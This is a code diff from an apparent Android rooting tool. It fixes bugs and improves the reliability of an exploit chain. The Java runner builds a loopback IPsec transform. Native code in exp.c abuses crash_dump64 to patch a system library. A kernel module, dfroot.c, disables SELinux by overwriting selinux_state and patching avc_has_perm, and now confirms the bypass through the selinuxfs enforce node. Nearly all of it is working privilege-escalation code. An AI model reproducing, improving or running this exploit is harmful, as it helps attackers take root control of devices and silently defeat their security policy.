diff --git a/app/src/main/java/df/root/ExploitRunner.java b/app/src/main/java/df/root/ExploitRunner.java index 0d3170cb..e69a4944 100644 --- a/app/src/main/java/df/root/ExploitRunner.java +++ b/app/src/main/java/df/root/ExploitRunner.java @@ -78,27 +78,31 @@ public static synchronized int run(Context ctx, IReporter reporter) throws Excep if (ipsec == null) throw new IllegalStateException("IpSecManager unavailable (requires API 28+)"); IpSecManager.UdpEncapsulationSocket encapSock = ipsec.openUdpEncapsulationSocket(); - InetAddress loopback = InetAddress.getByName("127.0.0.1"); - IpSecManager.SecurityParameterIndex spiObj = ipsec.allocateSecurityParameterIndex(loopback); - - byte[] aesKey = new byte[32]; - new SecureRandom().nextBytes(aesKey); - - DatagramSocket senderSock = new DatagramSocket(); - int senderPort = senderSock.getLocalPort(); - senderSock.close(); - - IpSecTransform transform = new IpSecTransform.Builder(ctx) - .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, aesKey)) - .setIpv4Encapsulation(encapSock, senderPort) - .buildTransportModeTransform(loopback, spiObj); - try { - return runBinary(bin, reporter, encapSock.getPort(), spiObj.getSpi(), - aesKey, senderPort); + InetAddress loopback = InetAddress.getByName("127.0.0.1"); + IpSecManager.SecurityParameterIndex spiObj = ipsec.allocateSecurityParameterIndex(loopback); + try { + byte[] aesKey = new byte[32]; + new SecureRandom().nextBytes(aesKey); + + DatagramSocket senderSock = new DatagramSocket(); + int senderPort = senderSock.getLocalPort(); + senderSock.close(); + + IpSecTransform transform = new IpSecTransform.Builder(ctx) + .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, aesKey)) + .setIpv4Encapsulation(encapSock, senderPort) + .buildTransportModeTransform(loopback, spiObj); + try { + return runBinary(bin, reporter, encapSock.getPort(), spiObj.getSpi(), + aesKey, senderPort); + } finally { + transform.close(); + } + } finally { + spiObj.close(); + } } finally { - transform.close(); - spiObj.close(); encapSock.close(); } } diff --git a/app/src/main/jni/elf_parser.c b/app/src/main/jni/elf_parser.c index 4cbff36d..7f026c5d 100644 --- a/app/src/main/jni/elf_parser.c +++ b/app/src/main/jni/elf_parser.c @@ -1,5 +1,6 @@ #include #include +#include #include #include #include @@ -128,11 +129,12 @@ int find_hook_target(const char *libcxx, const char *symname, close(fd); return 1; } char name[100]; - if (read(fd, name, sizeof(name) - 1) < 0) { + ssize_t n = read(fd, name, sizeof(name) - 1); + if (n < 0) { printf("read sh_name[%d] failed: %s\n", i, strerror(errno)); close(fd); return 1; } - name[sizeof(name) - 1] = 0; + name[n] = 0; if (strcmp(name, ".dynstr") == 0) dynstr = shdr.sh_offset; if (strcmp(name, ".dynsym") == 0) { dynsym_offset = shdr.sh_offset; dynsym_size = shdr.sh_size; } } @@ -157,11 +159,12 @@ int find_hook_target(const char *libcxx, const char *symname, close(fd); return 1; } char name[200]; - if (read(fd, name, sizeof(name) - 1) < 0) { + ssize_t n = read(fd, name, sizeof(name) - 1); + if (n < 0) { printf("read st_name[%d] failed: %s\n", i, strerror(errno)); close(fd); return 1; } - name[sizeof(name) - 1] = 0; + name[n] = 0; if (strcmp(name, symname) == 0) { *hook_target = sym.st_value - executable_vaddr + executable_off; break; diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index a91c3b16..f1eb7b84 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -17,8 +17,6 @@ #include #include "aes256.h" -#define eos(s) (s + strlen(s)) - static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64"; static char *libcxx_ko_target; @@ -70,8 +68,11 @@ static int spawn_crash_dump(off_t offset, int write_fd, int target_fd, const cha execl(kCrashDump, "crashdump64", offstr, libcxx_ko_target, NULL); _exit(1); } - int st = 0; - TEMP_FAILURE_RETRY(waitpid(pid, &st, 0)); + int st = -1; + if (TEMP_FAILURE_RETRY(waitpid(pid, &st, 0)) < 0) { + printf("waitpid failed: %s\n", strerror(errno)); + return -1; + } return st; } @@ -170,8 +171,13 @@ static int patch_file_cbc(const char *path, const char *payload, size_t len, .sin_port = htons((uint16_t)g_sender_port), .sin_addr = {.s_addr = htonl(INADDR_LOOPBACK)}, }; - if (bind(sk_send, (struct sockaddr *)&src, sizeof(src)) < 0) - printf("bind port %d failed: %s\n", g_sender_port, strerror(errno)); + if (bind(sk_send, (struct sockaddr *)&src, sizeof(src)) < 0) { + /* the xfrm state matches on this source port; without it every + * encapsulated write is dropped and patching fails misleadingly */ + printf("bind sender port %d failed: %s\n", g_sender_port, strerror(errno)); + close(sk_send); + return -1; + } struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons((uint16_t)g_encap_port), @@ -308,16 +314,22 @@ static int read_device_versions(int *andr, int *major, int *minor) { if (!m) { printf("uname -r is missing Android version, trying getprop\n"); - char vendor_ver[5]; - char release[15]; + char vendor_ver[8] = ""; + char release[24]; FILE *f = popen("getprop ro.vendor.build.version.release", "r"); - fgets(vendor_ver, sizeof(vendor_ver), f); + if (!f) return -1; + char *line = fgets(vendor_ver, sizeof(vendor_ver), f); pclose(f); + if (!line) return -1; - sprintf(release, "android"); - sprintf(eos(release), "%s", vendor_ver); + /* strip trailing newline/whitespace getprop may emit */ + size_t len = strlen(vendor_ver); + while (len > 0 && (vendor_ver[len - 1] == '\n' || vendor_ver[len - 1] == '\r')) + vendor_ver[--len] = '\0'; + if (len == 0) return -1; + snprintf(release, sizeof(release), "android%s", vendor_ver); m = release; } *andr = atoi(m + 7); @@ -518,6 +530,10 @@ static int setup(int argc, char **argv) { if (!encap_port || !sender_port || !spi || !have_aes) { usage(argv[0]); return 2; } + if (encap_port < 1 || encap_port > 65535 || sender_port < 1 || sender_port > 65535) { + fprintf(stderr, "invalid port number\n"); + return 2; + } g_encap_port = encap_port; g_sender_port = sender_port; diff --git a/app/src/main/jni/include.inc b/app/src/main/jni/include.inc index 75db4a52..16b822d2 100644 --- a/app/src/main/jni/include.inc +++ b/app/src/main/jni/include.inc @@ -197,12 +197,12 @@ // simulate a push operation .macro push Rn:req - str \Rn, [sp, -16] + str \Rn, [sp, #-16]! .endm // simulate a pop operation .macro pop R:req - ldr \Rn, [sp], 16 + ldr \R, [sp], #16 .endm // Save x0 to filename for debugging. diff --git a/lkm/Makefile b/lkm/Makefile index e3038944..2bd55567 100644 --- a/lkm/Makefile +++ b/lkm/Makefile @@ -8,6 +8,7 @@ all: ARCH=arm64 \ LLVM=1 \ modules +ifdef OBJCOPY $(OBJCOPY) --strip-unneeded \ -R .comment -R .note.gnu.property \ -R .note.Linux -R .note.GNU-stack \ @@ -15,6 +16,7 @@ all: -R .hyp.text -R .hyp.bss -R .hyp.rodata -R .hyp.event_ids \ -R .hyp.patchable_function_entries -R .hyp.data \ dfroot.ko +endif clean: $(MAKE) -C $(KDIR) M=$(CURDIR) \ diff --git a/lkm/dfroot.c b/lkm/dfroot.c index facb9685..87dad957 100644 --- a/lkm/dfroot.c +++ b/lkm/dfroot.c @@ -1,3 +1,5 @@ +#include +#include #include #include #include @@ -16,9 +18,58 @@ typedef int (*kern_path_t)(const char *, unsigned int, struct path *); typedef int (*invalidate_t)(struct address_space *); typedef void (*path_put_t)(const struct path *); typedef int (*insn_patch_t)(void *addrs[], u32 insns[], int cnt); +typedef struct file *(*filp_open_t)(const char *, int, umode_t); +typedef ssize_t (*kernel_read_t)(struct file *, void *, size_t, loff_t *); +typedef int (*filp_close_t)(struct file *, fl_owner_t); static insn_patch_t insn_patch_text; +/* Returns true only when /sys/fs/selinux/enforce reads back "0". + * + * The first member of struct selinux_state is "enforcing" only when + * CONFIG_SECURITY_SELINUX_DEVELOP=y; otherwise the selinux_state write in + * dfroot_init() lands on an unrelated bool (checkreqprot/disabled) and changes + * nothing. The selinuxfs node reports the real state (and is hardwired to 1 + * when the enforcing field does not exist), so it is the only reliable way to + * tell the two cases apart. On any read failure assume enforcing so the avc + * fallback still runs. + */ +static __nocfi bool selinux_is_permissive(kallsyms_lookup_name_t get_addr) +{ + filp_open_t filp_open_fn; + kernel_read_t kernel_read_fn; + filp_close_t filp_close_fn; + struct file *filp; + char buf[4]; + loff_t pos = 0; + ssize_t n; + + filp_open_fn = (filp_open_t)get_addr("filp_open"); + kernel_read_fn = (kernel_read_t)get_addr("kernel_read"); + filp_close_fn = (filp_close_t)get_addr("filp_close"); + if (!filp_open_fn || !kernel_read_fn || !filp_close_fn) { + pr_err("dfroot: file io symbols missing, assuming enforcing\n"); + return false; + } + + filp = filp_open_fn("/sys/fs/selinux/enforce", 0 /* O_RDONLY */, 0); + if (IS_ERR(filp)) { + pr_err("dfroot: open selinux enforce failed (%ld), assuming enforcing\n", + PTR_ERR(filp)); + return false; + } + + n = kernel_read_fn(filp, buf, sizeof(buf) - 1, &pos); + filp_close_fn(filp, NULL); + if (n <= 0) { + pr_err("dfroot: read selinux enforce returned %ld, assuming enforcing\n", n); + return false; + } + buf[n] = '\0'; + pr_info("dfroot: selinux enforce=%c\n", buf[0]); + return buf[0] == '0'; +} + static __nocfi void patch_fn_ret_zero(void *fn) { void *addrs[3]; @@ -103,10 +154,13 @@ static int __nocfi __init dfroot_init(void) WRITE_ONCE(*selinux_state, false); pr_info("dfroot: selinux_state permissive\n"); - // Some kernels ship CONFIG_SECURITY_SELINUX_DEVELOP=n, so the selinux_state - // write above is a no-op there — patch the SELinux checks themselves instead - // (both: most denials surface through the noaudit path first). - if (READ_ONCE(*selinux_state)) { + /* Kernels with CONFIG_SECURITY_SELINUX_DEVELOP=n keep the write above as + * a no-op (and permissive can't be reached at all), so fall back to + * patching the SELinux checks themselves (both: most denials surface + * through the noaudit path first). Only skip them when permissive has + * actually been confirmed, so enforcing is not left silently bypassed + * once a SU manager restores enforce=1. */ + if (READ_ONCE(*selinux_state) || !selinux_is_permissive(get_addr)) { avc_fn = (void *)get_addr("avc_has_perm"); if (!avc_fn) pr_err("dfroot: avc_has_perm not found, skipping\n");